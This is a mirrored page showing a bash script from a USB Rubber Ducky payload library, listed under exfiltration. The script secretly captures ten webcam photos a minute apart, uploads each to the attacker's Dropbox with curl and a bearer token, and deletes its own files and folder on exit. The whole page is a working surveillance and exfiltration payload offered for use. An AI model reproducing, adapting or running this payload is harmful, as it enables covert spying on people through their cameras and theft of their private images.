Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/exfiltration/ExfiltratePhotosThroughShell/script.sh
2968 views
1
#!/bin/bash
2
3
USER=$(whoami)
4
5
DIR=/home/$USER/tmp
6
7
TOKEN=your_dropbox_token
8
9
mkdir -p $DIR
10
11
function remove_folder {
12
rm -rf "$DIR"
13
rm -rf "/home/$USER/script.sh"
14
}
15
16
trap remove_folder EXIT
17
18
# execute the for, for some times..
19
for i in {1..10}
20
do
21
NAME=$(date +%s%N).jpg
22
23
fswebcam --no-banner $DIR/$NAME
24
25
curl -X POST https://content.dropboxapi.com/2/files/upload \
26
--header "Authorization: Bearer $TOKEN" \
27
--header "Dropbox-API-Arg: {\"path\": \"/$NAME\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" \
28
--header "Content-Type: application/octet-stream" \
29
--data-binary @$DIR/$NAME
30
31
sleep 60
32
done
33
34